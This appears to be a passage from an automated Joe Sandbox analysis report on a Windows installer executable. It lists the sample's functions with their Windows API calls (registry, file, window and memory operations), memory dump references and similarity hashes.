Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\6mGpn6kupm.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 701C2AAC Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 701C2B6B

Memory Dump Source

Source File: 00000000.00000002.1749930895.00000000701C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701C0000, based on PE: true

Associated: 00000000.00000002.1749380141.00000000701C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1749974424.00000000701C4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1750054487.00000000701C6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701c0000_6mGpn6kupm.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 12aa14a907f0167b7a8f595848ff7999b3651fb5f81760a3767a1f3252ca5ca2
Instruction ID: 6dd315238940a31554fc28262c45156bb5a147d47c31fffd90831c56ce28b50b
Opcode Fuzzy Hash: 12aa14a907f0167b7a8f595848ff7999b3651fb5f81760a3767a1f3252ca5ca2
Instruction Fuzzy Hash: A5416C72800204DFDB21DFA5DD52B6F3B65FB34368F3044AAF405C7960D638E8908B95

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 00405F61 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,004125A6,0040CED0,004033DE,0040CED0,004125A6,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 701C2993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(701C505C,00000004,00000040,701C504C), ref: 701C29B1

Memory Dump Source

Source File: 00000000.00000002.1749930895.00000000701C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701C0000, based on PE: true

Associated: 00000000.00000002.1749380141.00000000701C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1749974424.00000000701C4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1750054487.00000000701C6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701c0000_6mGpn6kupm.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d022d9631aa6bfff8f1b15f3ec3880c396015be5e57ec1649b7de03932096c37
Instruction ID: c91394021f28d3312717b1cc5e7617f726e0ad664dac8cc1211827c396fd3393
Opcode Fuzzy Hash: d022d9631aa6bfff8f1b15f3ec3880c396015be5e57ec1649b7de03932096c37
Instruction Fuzzy Hash: E0F0A5B2544280DEC350CF2A8C6472B3FE0B728308BB0456AF588D6A60E374C4E4DB99

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Function 701C121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,701C123B,?,701C12DF,00000019,701C11BE,-000000A0), ref: 701C1225

Memory Dump Source

Source File: 00000000.00000002.1749930895.00000000701C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701C0000, based on PE: true

Associated: 00000000.00000002.1749380141.00000000701C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1749974424.00000000701C4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1750054487.00000000701C6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701c0000_6mGpn6kupm.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 6cd7995ef4cb338d536d70b3ce7b7859000eef94c8cb4770d887a0ce9c077132
Instruction ID: 0dcef16407e1774efbd78795a504cc95f69fc0624a85a6f9492b6651d7e02324
Opcode Fuzzy Hash: 6cd7995ef4cb338d536d70b3ce7b7859000eef94c8cb4770d887a0ce9c077132
Instruction Fuzzy Hash: 3AB01272A44000DFEF008B65CC06F363A54E700301F244010FB00C0590C560C8208534

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
